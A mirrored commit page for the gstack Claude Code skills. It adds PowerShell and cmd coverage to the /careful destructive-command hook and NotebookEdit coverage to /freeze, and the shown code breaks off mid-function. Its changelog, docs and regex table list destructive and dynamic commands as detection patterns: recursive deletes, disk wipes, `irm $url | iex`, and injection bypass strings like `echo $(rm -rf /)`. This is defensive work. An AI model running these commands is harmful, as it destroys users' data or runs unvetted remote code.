mirror of
https://github.com/garrytan/gstack.git
synced 2026-10-31 14:06:50 +01:00
v1.91.47.0 fix(careful,freeze): safety hooks cover PowerShell and NotebookEdit (#3077)
* fix(careful): check PowerShell tool commands and nested pwsh/cmd (#3067) /careful and /guard matched only the Bash tool, so on Windows, where Claude Code's PowerShell tool is the primary shell, the guard never ran. check-careful.sh also had no PowerShell or cmd patterns. - careful/guard register a PowerShell matcher beside Bash. - hook-extract.sh gains gstack_hook_extract_tool: one parser call reads tool_name with the field, so dispatch adds no fork. - check-careful.sh runs one PowerShell/cmd pattern table on PowerShell tool commands and on the tail of any Bash command that launches pwsh/powershell/cmd: Remove-Item and aliases with -Recurse/-Force prefixes, rd/rmdir/del/erase /s, Format-Volume, Clear-Disk, Clear-Content, [IO.Directory]/[IO.File]::Delete, and asks with an explanation for -EncodedCommand, iex, Start-Process of a shell and & $cmd. Command-position anchors keep Bash negative controls allowed. - /careful documents the coverage as best-effort and points to Claude Code permission deny rules. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(freeze): NotebookEdit respects the freeze boundary (#3067) NotebookEdit was in no freeze/guard/investigate matcher, and check-freeze.sh read only file_path, so notebook edits ignored /freeze on every platform. NotebookEdit carries tool_input.notebook_path. - freeze, guard and investigate register a NotebookEdit matcher beside Edit and Write. - check-freeze.sh reads file_path, then notebook_path, through the shared extractor; denials name the tool, the field, the boundary and /unfreeze. A helper without the combined reader denies as out of date. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * test: run hook-scripts on the Windows lane (#3067) The careful/freeze hooks are Windows coverage, but test/hook-scripts.test.ts was excluded from windows-free-tests by the raw /tmp/ pattern; its /tmp/ literals are payload strings that are never opened. Admit it by name and gate the three cases Windows runners cannot host: a symlink (no Developer Mode), a newline in a directory name, and a POSIX ':' PATH prefix. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * chore(evals): check-careful.sh is free-only for PR selection No paid fixture copies or runs careful/bin/check-careful.sh (the investigate boundary fixture copies hook-extract.sh and check-freeze.sh only); test/hook-scripts.test.ts covers it. As an unknown dependency it restored the full paid gate on every /careful hook change. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * test(careful): pin the #3067 Invoke-Sqlcmd DROP TABLE example on the PowerShell tool Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * chore(evals): record the check-careful.sh selection change as non-behavioral Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * docs: /careful covers PowerShell (best-effort), /freeze covers NotebookEdit (#3067) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * chore: release v1.91.37.0 (CHANGELOG, TODOS for deferred hook follow-ups) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * chore: re-slot release to v1.91.39.0 (v1.91.37.0 and v1.91.38.0 claimed by #3075, #3076) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * chore: re-slot release to v1.91.41.0 (merge-queue reservation) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(careful): hook payload reader survives Windows text-mode Python and backslash source paths windows-free-tests (run 37739845723) showed every PowerShell-tool case falling through: Python's text-mode stdout on Windows wrote tool_name as "PowerShell\r", so dispatch never matched, and freeze denials carried stray CRs. gstack_hook_extract_tool now reads and writes bytes. hook-extract.sh also located gstack-state-root.sh with ${BASH_SOURCE%/*}, which strips nothing when the file is sourced through a C:\... path, so gstack_hook_state_root vanished (state-root parity case on the same run). Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(evals): PR lane selects office-hours-auto-mode by its real test name The PR paid lane filters audited files with -t built from CASE_TEST_NAMES[id] ?? id. office-hours-auto-mode's Bun test is named 'AskUserQuestion surfaces when --disallowedTools AskUserQuestion is set', so the filter matched 0 tests and the shard failed (#3077 eval-slices (6), run 37741434771). Map the label, and check every audited PR-profile case is addressable by name. Recorded as non-behavioral for HARNESS_VERSION. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * chore: CHANGELOG notes for the Windows CRLF and PR-lane name fixes Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * chore: re-slot release to v1.91.47.0 (merge-queue assignment) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --------- Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
This commit is contained in:
1 parent
92cfd07a79
commit
c7edf46bcf
25 files changed
+763
-59
No files matched your search
@@ -1,5 +1,46 @@
|
||||
# Changelog
|
||||
|
||||
## [1.91.47.0] - 2026-10-08
|
||||
|
||||
**`/careful` and `/guard` now check PowerShell commands, and `/freeze` now covers notebook edits.**
|
||||
|
||||
On Windows, Claude Code runs shell commands through its PowerShell tool, and on a machine without Git Bash that is the only shell it has. `/careful` and `/guard` listened only to the Bash tool, so they never saw those commands: `Remove-Item -Recurse -Force C:\proj` and `rmdir /s /q C:\proj` went through with no prompt. The hook also had no PowerShell or cmd patterns at all. Separately, on every platform, `NotebookEdit` was missing from the `/freeze`, `/guard` and `/investigate` hooks, and the freeze check read only `file_path`. A notebook edit outside the boundary was allowed.
|
||||
|
||||
### The numbers that matter
|
||||
|
||||
Checked by piping hook payloads into the real scripts (`test/hook-scripts.test.ts`) on Linux.
|
||||
|
||||
| Check | Before | After |
|
||||
|---|---|---|
|
||||
| PowerShell tool: `Remove-Item -Recurse -Force C:\proj`, `rmdir /s /q C:\proj` | allowed (the hook never ran, and had no pattern) | ask, naming the matched pattern |
|
||||
| Bash: `pwsh -c "Remove-Item -r -fo x"`, `cmd /c "rd /s /q x"`, `cmd //c "r^d /s /q x"` | allowed | ask |
|
||||
| `-EncodedCommand`, `iex`, `Start-Process pwsh`, `& $cmd`, `[IO.Directory]::Delete` | allowed | ask, explaining that encoded or dynamic PowerShell can't be inspected |
|
||||
| `NotebookEdit` on `/etc/x.ipynb` with `/freeze` set elsewhere | allowed | denied, naming the tool, `notebook_path`, the boundary and `/unfreeze` |
|
||||
| Negative controls (`git branch -d`, `ord`, `--del`, a `/rd/` path, `Remove-Item x.txt`), on Bash and PowerShell | allowed | still allowed |
|
||||
| New #3067 hook tests run against the old scripts | — | 54 of 98 fail; the other 44 (controls and unchanged behavior) pass on both |
|
||||
|
||||
### What this means for you
|
||||
|
||||
Run `/gstack-upgrade`, then start `/careful` in a new session. On Windows, ask Claude to run `Remove-Item -Recurse -Force .\scratch` through PowerShell: you'll get an approval prompt that names `ps_remove_item`. PowerShell coverage is best-effort, because PowerShell can build a command at runtime that string matching can't see. If you need a hard stop, add Claude Code permission deny rules, such as `"deny": ["PowerShell(Remove-Item *)"]`. Those rules parse PowerShell and match aliases. The hooks run through `bash`, so on Windows they still need Git Bash, which gstack already requires.
|
||||
|
||||
### Itemized changes
|
||||
|
||||
#### Fixed
|
||||
- `/careful` and `/guard` register a `PowerShell` hook matcher beside `Bash` (#3067).
|
||||
- `check-careful.sh` runs one PowerShell and cmd pattern table. It covers commands from the PowerShell tool, and the rest of any Bash command from the point where it launches `pwsh`, `powershell` or `cmd` (including Git Bash's `cmd //c`). Matching ignores case and covers aliases (`rm`, `ri`, `del`, `erase`, `rd`, `rmdir`). Command names match only where a command starts. Parameters match any prefix PowerShell accepts (`-r`, `-rec`, `-fo`, `-forc`, `-Recurse:$true`). cmd `^` escapes and PowerShell backtick escapes are removed before matching. The covered commands are `Remove-Item` with `-Recurse` or `-Force`, `rd`/`rmdir`/`del`/`erase` with `/s`, `Format-Volume`, `Clear-Disk`, `Clear-Content` (the same as `truncate`), `[IO.Directory]::Delete` and `[IO.File]::Delete`, plus asks for `-EncodedCommand`/`-enc`, `Invoke-Expression`/`iex`, `Start-Process` of a shell and `& $cmd`. Patterns that apply to any shell (`git push --force`, `DROP TABLE`, and the rest) apply to PowerShell commands too.
|
||||
- `/freeze`, `/guard` and `/investigate` register a `NotebookEdit` matcher beside `Edit` and `Write`. `check-freeze.sh` reads `notebook_path` when `file_path` is absent (#3067). Every freeze denial now names the tool, the path field and `/unfreeze`.
|
||||
- PR #1110's bypass strings (`echo hi; rm -rf ~`, `echo $(rm -rf /)`, `git commit -m "$(rm -rf ~)"`) are pinned as negative controls and still ask.
|
||||
|
||||
#### For contributors
|
||||
- `gstack_hook_extract_tool` in `careful/bin/hook-extract.sh` reads `tool_name` and the first non-empty field in one parser call, so dispatch adds no process per command. A `check-careful.sh` paired with an older helper falls back to the Bash-only reader. A `check-freeze.sh` paired with an older helper denies as out of date.
|
||||
- The payload shapes come from Claude Code's docs. PowerShell sends `tool_input.command` (hooks reference, "PreToolUse > PowerShell"). NotebookEdit sends `tool_input.notebook_path` (Agent SDK `NotebookEditInput`). `MultiEdit` no longer appears in the tools reference, the hooks reference or the SDK tool list, so it gets no matcher.
|
||||
- The careful and freeze hook matchers are separate per-tool entries, matching the existing `Edit`/`Write` entries. Claude Code treats them the same as one `Bash|PowerShell` list, and the safety-prose parser in `scripts/gen-skill-docs.ts` keeps reading them.
|
||||
- `test/hook-scripts.test.ts` is now named Windows coverage in `scripts/lib/windows-curation.ts`. Its symlink, newline-path and POSIX-`PATH` cases are skipped on win32.
|
||||
- The hook payload reader writes bytes from Python. Windows text-mode output had turned `PowerShell` into `PowerShell\r`, so the table never ran there; the first `windows-free-tests` run of these tests caught it. `hook-extract.sh` also finds `gstack-state-root.sh` when sourced through a `C:\` path.
|
||||
- The PR paid lane's `office-hours-auto-mode` case matched 0 tests because its Bun test name differs from its id. `CASE_TEST_NAMES` now maps it, and `test/test-pr-profile.test.ts` checks that every audited PR-profile case is addressable by name.
|
||||
- `careful/bin/check-careful.sh` is listed in `FREE_ONLY_PR_FILES`. No paid fixture runs it, and as an unknown dependency it used to restore the full paid gate on every `/careful` change.
|
||||
- Thanks to @jtheyse for the #3067 report and its suggested fix shape, @JiayuuWang for PR #1110, whose bypass strings became negative controls, and @BenjaminDSmithy for PR #3066's frontmatter hook-check derivation. The new matchers pass #3066's `bin/gstack-hook-check` and its test as well as main's.
|
||||
|
||||
## [1.91.45.0] - 2026-10-08
|
||||
|
||||
### Added
|
||||
|
||||
@@ -2,6 +2,54 @@
|
||||
|
||||
## NEXT PRIORITY
|
||||
|
||||
### P3: Oct 8 fix wave, safety hooks follow-ups (filed 2026-10-08)
|
||||
|
||||
Left open by the PowerShell/NotebookEdit hook fix (v1.91.47.0, #3067), each with its reason.
|
||||
|
||||
- **Forced overwrite patterns for `/careful`** — `Set-Content -Force` / `Out-File
|
||||
-Force` over an existing file (and the Bash `>` overwrite twin) still pass.
|
||||
Deferred: the Bash side has no overwrite pattern either, and adding one is a
|
||||
new family for both shells, not PowerShell parity. **Effort:** S. **Priority:** P3.
|
||||
- **Quote-aware masking in `check-careful.sh` (#1060)** — `git commit -m "rm -rf
|
||||
build"` still asks. Deferred: masking quoted text inside a safety hook can open
|
||||
bypasses (PR #1110's `echo hi; rm -rf ~` showed how); it needs its own design
|
||||
with the #1110 strings as controls. **Effort:** M. **Priority:** P3.
|
||||
- **Hooks on Windows without Git Bash** — the frontmatter hook commands run
|
||||
`bash -c ...`, and Claude Code runs hook commands through PowerShell when Git
|
||||
Bash is absent, so the guards cannot start there. gstack requires Git Bash
|
||||
today; a native PowerShell hook launcher would lift that. **Effort:** M.
|
||||
**Priority:** P3.
|
||||
|
||||
### P2/P3: iOS QA fix-wave follow-ups (filed 2026-10-07, v1.91.38.0)
|
||||
|
||||
Left open by the iPad and route-drop release, each with its reason.
|
||||
|
||||
- **Device verification of v1.91.38.0** — the iPad bootstrap, route-drop
|
||||
recovery on a real Xcode 26 tunnel drop, the multiple-devices error and the
|
||||
`NOT READY` path were proven only against the simulated device; the changed
|
||||
`StateServer` passed `swiftc -parse` but no Apple-SDK build. Run
|
||||
`test/skill-e2e-ios-device.test.ts` and the Swift build lane on a Mac with an
|
||||
iPhone and an iPad. **Effort:** S. **Priority:** P2.
|
||||
- **`GSTACK_IOS_LAUNCH_ENV` (split from #1796, @Bmathews721)** — pass launch
|
||||
environment to the app through `devicectl process launch`. Nothing equivalent
|
||||
exists on main; land it as its own small PR with credit, then close #1796.
|
||||
**Effort:** S. **Priority:** P2.
|
||||
- **A restarted daemon still relaunches the app once** — a new daemon has no
|
||||
session bearer and the one-use boot token is gone. Fixing it needs either a
|
||||
device-side re-mint with proof of the old session or a persisted bearer under
|
||||
the state root, and both change the token's security model. Needs a design.
|
||||
**Effort:** M. **Priority:** P3.
|
||||
- **iPad Stage Manager and multiple scenes** — overlay and window selection
|
||||
(`frontmostWindow`, `searchRoots`) are unverified on iPad multi-window
|
||||
layouts. **Effort:** S (verify) / M (fix). **Priority:** P3.
|
||||
- **Stale "Session warm-start" phase in `/ios-qa`** — Phase 0 describes an
|
||||
`ios-qa-session.json` cache that no daemon code writes. Implement it with the
|
||||
state-root chain or remove the phase. **Effort:** S. **Priority:** P3.
|
||||
- **Sanctioned input-routing hook for SwiftUI gestures** (#1975 finding 2) —
|
||||
synthesized touches miss `DragGesture` on iOS 26; a documented `#if DEBUG`
|
||||
hook would let gesture-driven apps route `/tap` and `/swipe` to their own
|
||||
handlers. **Effort:** M. **Priority:** P3.
|
||||
|
||||
### P1/P2: /cso capacity follow-ups (filed 2026-10-08)
|
||||
|
||||
Left open by v1.91.42.0, which lifted the snapshot file-count ceiling.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# gstack digest v1.91.45.0 — regenerate/re-copy after upgrading gstack
|
||||
# gstack digest v1.91.47.0 — regenerate/re-copy after upgrading gstack
|
||||
|
||||
Behavioral rules from gstack (https://github.com/garrytan/gstack), compressed
|
||||
for agent hosts without a full skill install. The full skills add workflows,
|
||||
|
||||
+27
-3
@@ -16,6 +16,11 @@ hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
|
||||
statusMessage: "Checking for destructive commands..."
|
||||
- matcher: "PowerShell"
|
||||
hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
|
||||
statusMessage: "Checking for destructive commands..."
|
||||
---
|
||||
<!-- AUTO-GENERATED from SKILL.md.tmpl — do not edit directly -->
|
||||
<!-- Regenerate: bun run gen:skill-docs -->
|
||||
@@ -31,8 +36,8 @@ or working in a shared environment. Use when asked to "be careful", "safety mode
|
||||
|
||||
# /careful — Destructive Command Guardrails
|
||||
|
||||
Safety mode is now **active**. Every bash command will be checked for destructive
|
||||
patterns before running. If a destructive command is detected, you'll be warned
|
||||
Safety mode is now **active**. Every Bash and PowerShell command will be checked
|
||||
for destructive patterns before running. If a destructive command is detected, you'll be warned
|
||||
and can choose to proceed or cancel.
|
||||
|
||||
```bash
|
||||
@@ -54,6 +59,25 @@ echo '{"skill":"careful","ts":"'$(date -u +%Y-%m-%dT%H:%M:%SZ)'","repo":"'$(base
|
||||
| `kubectl delete` | `kubectl delete pod` | Production impact |
|
||||
| `docker rm -f` / `docker system prune` | `docker system prune -a` | Container/image loss |
|
||||
|
||||
## PowerShell and cmd (Windows)
|
||||
|
||||
The hook also checks the PowerShell tool (Claude Code's main Windows shell)
|
||||
and any `pwsh`/`powershell`/`cmd` launched from Bash. Matching ignores case,
|
||||
covers aliases in command position, accepts parameter prefixes (`-r`, `-fo`)
|
||||
and strips cmd `^` escapes. All rows above apply there too.
|
||||
|
||||
| Pattern | Example |
|
||||
|---------|---------|
|
||||
| `Remove-Item`/`rm`/`ri`/`del`/`erase`/`rd`/`rmdir` + `-Recurse` or `-Force` | `gci \| ri -r -fo` |
|
||||
| cmd `rd /s`, `rmdir /s`, `del /s`, `erase /s` | `cmd /c rd /s /q C:\proj` |
|
||||
| `Format-Volume`, `Clear-Disk`, `Clear-Content`, `[IO.Directory]::Delete`, `[IO.File]::Delete` | `Clear-Disk -Number 1` |
|
||||
| `-EncodedCommand`, `iex`, `Start-Process` of a shell, `& $cmd` (can't be inspected) | `irm $url \| iex` |
|
||||
|
||||
**Best-effort on PowerShell.** String matching can't see a command built at
|
||||
runtime. For a hard stop, add Claude Code permission deny rules, which parse
|
||||
PowerShell and its aliases: `"deny": ["PowerShell(Remove-Item *)"]` in
|
||||
`.claude/settings.json`. The hook runs through `bash`, so Windows needs Git Bash.
|
||||
|
||||
## Safe exceptions
|
||||
|
||||
These patterns are allowed without warning:
|
||||
@@ -61,7 +85,7 @@ These patterns are allowed without warning:
|
||||
|
||||
## How it works
|
||||
|
||||
The hook reads the command from the tool input JSON, checks it against the
|
||||
The hook reads `tool_name` and the command from the tool input JSON, checks it against the
|
||||
patterns above, and returns a `hookSpecificOutput` payload with
|
||||
`permissionDecision: "ask"` and a warning reason if a match is found (the
|
||||
decision must be nested under `hookSpecificOutput` — Claude Code ignores a
|
||||
|
||||
+27
-3
@@ -21,13 +21,18 @@ hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
|
||||
statusMessage: "Checking for destructive commands..."
|
||||
- matcher: "PowerShell"
|
||||
hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
|
||||
statusMessage: "Checking for destructive commands..."
|
||||
sensitive: true
|
||||
---
|
||||
|
||||
# /careful — Destructive Command Guardrails
|
||||
|
||||
Safety mode is now **active**. Every bash command will be checked for destructive
|
||||
patterns before running. If a destructive command is detected, you'll be warned
|
||||
Safety mode is now **active**. Every Bash and PowerShell command will be checked
|
||||
for destructive patterns before running. If a destructive command is detected, you'll be warned
|
||||
and can choose to proceed or cancel.
|
||||
|
||||
```bash
|
||||
@@ -49,6 +54,25 @@ echo '{"skill":"careful","ts":"'$(date -u +%Y-%m-%dT%H:%M:%SZ)'","repo":"'$(base
|
||||
| `kubectl delete` | `kubectl delete pod` | Production impact |
|
||||
| `docker rm -f` / `docker system prune` | `docker system prune -a` | Container/image loss |
|
||||
|
||||
## PowerShell and cmd (Windows)
|
||||
|
||||
The hook also checks the PowerShell tool (Claude Code's main Windows shell)
|
||||
and any `pwsh`/`powershell`/`cmd` launched from Bash. Matching ignores case,
|
||||
covers aliases in command position, accepts parameter prefixes (`-r`, `-fo`)
|
||||
and strips cmd `^` escapes. All rows above apply there too.
|
||||
|
||||
| Pattern | Example |
|
||||
|---------|---------|
|
||||
| `Remove-Item`/`rm`/`ri`/`del`/`erase`/`rd`/`rmdir` + `-Recurse` or `-Force` | `gci \| ri -r -fo` |
|
||||
| cmd `rd /s`, `rmdir /s`, `del /s`, `erase /s` | `cmd /c rd /s /q C:\proj` |
|
||||
| `Format-Volume`, `Clear-Disk`, `Clear-Content`, `[IO.Directory]::Delete`, `[IO.File]::Delete` | `Clear-Disk -Number 1` |
|
||||
| `-EncodedCommand`, `iex`, `Start-Process` of a shell, `& $cmd` (can't be inspected) | `irm $url \| iex` |
|
||||
|
||||
**Best-effort on PowerShell.** String matching can't see a command built at
|
||||
runtime. For a hard stop, add Claude Code permission deny rules, which parse
|
||||
PowerShell and its aliases: `"deny": ["PowerShell(Remove-Item *)"]` in
|
||||
`.claude/settings.json`. The hook runs through `bash`, so Windows needs Git Bash.
|
||||
|
||||
## Safe exceptions
|
||||
|
||||
These patterns are allowed without warning:
|
||||
@@ -56,7 +80,7 @@ These patterns are allowed without warning:
|
||||
|
||||
## How it works
|
||||
|
||||
The hook reads the command from the tool input JSON, checks it against the
|
||||
The hook reads `tool_name` and the command from the tool input JSON, checks it against the
|
||||
patterns above, and returns a `hookSpecificOutput` payload with
|
||||
`permissionDecision: "ask"` and a warning reason if a match is found (the
|
||||
decision must be nested under `hookSpecificOutput` — Claude Code ignores a
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env bash
|
||||
# check-careful.sh — PreToolUse hook for /careful skill
|
||||
# Reads JSON from stdin, checks Bash command for destructive patterns.
|
||||
# Reads JSON from stdin, checks a Bash or PowerShell command for destructive
|
||||
# patterns (best-effort string matching, not a security boundary).
|
||||
# Two tiers:
|
||||
# HIGH — a tiny set of catastrophic SIMPLE commands returns "deny"
|
||||
# (best-effort advisory hard-stop, not a policy boundary).
|
||||
@@ -39,9 +40,23 @@ fi
|
||||
# Parse the payload properly instead, and fail CLOSED when it cannot be parsed
|
||||
# at all — a hook that gates destructive commands must not allow-by-default on
|
||||
# unreadable input.
|
||||
#
|
||||
# The same parser call reads tool_name: the PowerShell tool (Claude Code's
|
||||
# primary shell on Windows, and the only one without Git Bash) carries its
|
||||
# command in the same tool_input.command field as Bash (hooks reference,
|
||||
# "PreToolUse > PowerShell"). An older hook-extract.sh without the combined
|
||||
# reader (partial upgrade) still checks the command, as Bash.
|
||||
TOOL_NAME=""
|
||||
set +e
|
||||
CMD=$(gstack_hook_extract_field "$INPUT" command)
|
||||
EXTRACT_RC=$?
|
||||
if command -v gstack_hook_extract_tool >/dev/null 2>&1; then
|
||||
gstack_hook_extract_tool "$INPUT" command
|
||||
EXTRACT_RC=$?
|
||||
TOOL_NAME="$GSTACK_HOOK_TOOL"
|
||||
CMD="$GSTACK_HOOK_VALUE"
|
||||
else
|
||||
CMD=$(gstack_hook_extract_field "$INPUT" command)
|
||||
EXTRACT_RC=$?
|
||||
fi
|
||||
set -e
|
||||
|
||||
# No parser available, or the payload is not parseable JSON. Fail closed.
|
||||
@@ -50,7 +65,7 @@ if [ "$EXTRACT_RC" -ne 0 ] && [ -n "$INPUT" ]; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Parsed fine, but there is genuinely no command field (non-Bash payload) — allow.
|
||||
# Parsed fine, but there is genuinely no command field (non-shell payload) — allow.
|
||||
if [ -z "$CMD" ]; then
|
||||
echo '{}'
|
||||
exit 0
|
||||
@@ -209,8 +224,86 @@ esac
|
||||
WARN=""
|
||||
PATTERN=""
|
||||
|
||||
# --- PowerShell and cmd table (#3067) ---
|
||||
# Runs on the PowerShell tool's command, and on the part of any command from a
|
||||
# nested `powershell`/`pwsh`/`cmd` launcher onward (`pwsh -c "..."`,
|
||||
# `cmd /c rd /s /q x`, Git Bash's `cmd //c`). Plain Bash commands never reach
|
||||
# it, so Bash keeps exactly its old behavior. Best-effort: PowerShell can
|
||||
# build commands at runtime, so encoded and dynamic forms ask instead of being
|
||||
# parsed, and Claude Code permission deny rules stay the stronger layer.
|
||||
# Matching is bash [[ =~ ]] on the already-lowercased command (POSIX ERE,
|
||||
# bash 3.2 compatible): no added subprocess on the per-command path.
|
||||
_WIN_SCAN=""
|
||||
[ "$TOOL_NAME" = "PowerShell" ] && _WIN_SCAN="$CMD_LOWER"
|
||||
_WIN_LAUNCH_RE='(^|[^a-z0-9_.$-])((powershell|pwsh|cmd)(\.exe)?([[:space:]].*)?)$'
|
||||
if [ -z "$_WIN_SCAN" ] && [[ $CMD_LOWER =~ $_WIN_LAUNCH_RE ]]; then
|
||||
_WIN_SCAN="${BASH_REMATCH[2]}"
|
||||
fi
|
||||
if [ -n "$_WIN_SCAN" ]; then
|
||||
# cmd escapes with ^ (r^d is rd) and PowerShell with a backtick
|
||||
# (Re`move-Item is Remove-Item); dropping both only joins characters.
|
||||
_WIN_SCAN="${_WIN_SCAN//^/}"
|
||||
_WIN_SCAN="${_WIN_SCAN//\`/}"
|
||||
_NL=$'\n'
|
||||
# Command position: start of text, a statement/pipeline separator, an
|
||||
# opening bracket or quote, or right after a shell launcher and its
|
||||
# switches. Names elsewhere (ord, --del, /rd/, git branch -d) never match.
|
||||
_CP="(^|[;&|({}\"'${_NL}]|(powershell|pwsh|cmd)(\.exe)?([[:space:]]+(-|/+)[a-z]+([[:space:]:=]+[a-z0-9_.-]+)?)*)[[:space:]]*"
|
||||
_STMT="[^;|${_NL}]*"
|
||||
_CMD_STMT="[^;|&${_NL}]*"
|
||||
_WHY_DYNAMIC="Encoded or dynamic PowerShell can't be inspected, so /careful cannot tell what it will run. Read it before approving; Claude Code permission deny rules (for example \"PowerShell(Remove-Item *)\") are the stronger layer."
|
||||
# One table: pattern name, ERE, warning. Parameters match any unique
|
||||
# prefix PowerShell accepts (-r/-rec/-recurse, -fo/-forc/-force; -f alone
|
||||
# is ambiguous with -Filter), with or without a :$true value.
|
||||
_WIN_RULES=(
|
||||
ps_remove_item
|
||||
"${_CP}(remove-item|rm|ri|del|erase|rd|rmdir)[[:space:]](${_STMT}[[:space:]])?-(r|re|rec|recu|recur|recurs|recurse|fo|for|forc|force)([[:space:]:]|$)"
|
||||
"Destructive: PowerShell Remove-Item (or rm/ri/del/erase/rd/rmdir) with -Recurse or -Force. This permanently removes files."
|
||||
cmd_rd_s
|
||||
"${_CP}(rd|rmdir)[[:space:]]${_CMD_STMT}/s([[:space:]/]|$)"
|
||||
"Destructive: cmd rd/rmdir /s deletes a whole directory tree."
|
||||
cmd_del_s
|
||||
"${_CP}(del|erase)[[:space:]]${_CMD_STMT}/s([[:space:]/]|$)"
|
||||
"Destructive: cmd del/erase /s deletes matching files in every subdirectory."
|
||||
ps_format_volume
|
||||
"${_CP}format-volume([[:space:]]|$)"
|
||||
"Destructive: Format-Volume erases a whole volume."
|
||||
ps_clear_disk
|
||||
"${_CP}clear-disk([[:space:]]|$)"
|
||||
"Destructive: Clear-Disk wipes every partition on a disk."
|
||||
ps_clear_content
|
||||
"${_CP}(clear-content|clc)([[:space:]]|$)"
|
||||
"Destructive: Clear-Content empties files (like truncate)."
|
||||
ps_dotnet_delete
|
||||
'\[(system\.)?io\.(directory|file)\]::delete'
|
||||
"Destructive: .NET [IO.Directory]::Delete / [IO.File]::Delete removes files without Remove-Item."
|
||||
ps_encoded_command
|
||||
"(^|[^a-z0-9_.$-])(powershell|pwsh)(\.exe)?[[:space:]](${_STMT}[[:space:]])?-(e|ec|en|enc[a-z]*)([[:space:]:]|$)"
|
||||
"PowerShell -EncodedCommand. ${_WHY_DYNAMIC}"
|
||||
ps_invoke_expression
|
||||
"${_CP}(invoke-expression|iex)([[:space:](]|$)"
|
||||
"PowerShell Invoke-Expression (iex). ${_WHY_DYNAMIC}"
|
||||
ps_start_process_shell
|
||||
"${_CP}(start-process|saps|start)[[:space:]](${_STMT}[[:space:]\"',])?(powershell|pwsh|cmd|bash|wsl|sh)(\.exe)?([[:space:]\"',]|$)"
|
||||
"Start-Process launching another shell. ${_WHY_DYNAMIC}"
|
||||
ps_call_operator
|
||||
"(^|[^&])&[[:space:]]*[\$(]"
|
||||
"PowerShell call operator on a variable or expression (& \$cmd). ${_WHY_DYNAMIC}"
|
||||
)
|
||||
_WI=0
|
||||
while [ "$_WI" -lt "${#_WIN_RULES[@]}" ]; do
|
||||
_WRE="${_WIN_RULES[$((_WI + 1))]}"
|
||||
if [[ $_WIN_SCAN =~ $_WRE ]]; then
|
||||
PATTERN="${_WIN_RULES[$_WI]}"
|
||||
WARN="${_WIN_RULES[$((_WI + 2))]} (pattern: $PATTERN)"
|
||||
break
|
||||
fi
|
||||
_WI=$((_WI + 3))
|
||||
done
|
||||
fi
|
||||
|
||||
# rm -rf / rm -r / rm -R / rm --recursive (capital -R is BSD/macOS recursive)
|
||||
if grep -qE 'rm\s+(-[a-zA-Z]*[rR]|--recursive)' <<< "$CMD" 2>/dev/null; then
|
||||
if [ -z "$WARN" ] && grep -qE 'rm\s+(-[a-zA-Z]*[rR]|--recursive)' <<< "$CMD" 2>/dev/null; then
|
||||
WARN="Destructive: recursive delete (rm -r). This permanently removes files."
|
||||
PATTERN="rm_recursive"
|
||||
fi
|
||||
|
||||
@@ -32,6 +32,56 @@ sys.stdout.write(c if isinstance(c, str) else "")' "$_ghef_field" 2>/dev/null &&
|
||||
return 1
|
||||
}
|
||||
|
||||
# gstack_hook_extract_tool PAYLOAD FIELD [FIELD...]
|
||||
# One parser call that reads the top-level tool_name together with the first
|
||||
# non-empty string among tool_input.FIELD..., so tool dispatch costs no
|
||||
# extra fork on the per-command hot path. Sets three globals (stdout stays
|
||||
# the hook's decision channel):
|
||||
# GSTACK_HOOK_TOOL tool_name ("" when absent or non-string)
|
||||
# GSTACK_HOOK_FIELD the FIELD that supplied the value ("" when none did)
|
||||
# GSTACK_HOOK_VALUE that field's string value, trailing newlines dropped
|
||||
# (the same shape $(gstack_hook_extract_field ...) gave)
|
||||
# Returns 1 when no parser is available or the payload is not parseable
|
||||
# JSON; the caller decides the polarity, exactly as for the field extractor.
|
||||
# Python reads and writes bytes: Windows text-mode stdout turns every "\n"
|
||||
# into "\r\n", which left tool_name as "PowerShell\r" and never matched.
|
||||
# Payload shapes (Claude Code hooks reference, PreToolUse input): Bash and
|
||||
# PowerShell carry tool_input.command; Edit and Write carry file_path;
|
||||
# NotebookEdit carries notebook_path.
|
||||
GSTACK_HOOK_TOOL=""
|
||||
GSTACK_HOOK_FIELD=""
|
||||
GSTACK_HOOK_VALUE=""
|
||||
gstack_hook_extract_tool() {
|
||||
_ghet_payload="$1"
|
||||
shift
|
||||
_ghet_out=""
|
||||
_ghet_ok=1
|
||||
if command -v python3 >/dev/null 2>&1; then
|
||||
_ghet_out=$(printf '%s' "$_ghet_payload" | python3 -c 'import sys,json
|
||||
d = json.loads(sys.stdin.buffer.read())
|
||||
t = d.get("tool_name", "") if isinstance(d, dict) else ""
|
||||
i = d.get("tool_input", {}) if isinstance(d, dict) else {}
|
||||
i = i if isinstance(i, dict) else {}
|
||||
f = v = ""
|
||||
for k in sys.argv[1:]:
|
||||
c = i.get(k, "")
|
||||
if isinstance(c, str) and c:
|
||||
f, v = k, c
|
||||
break
|
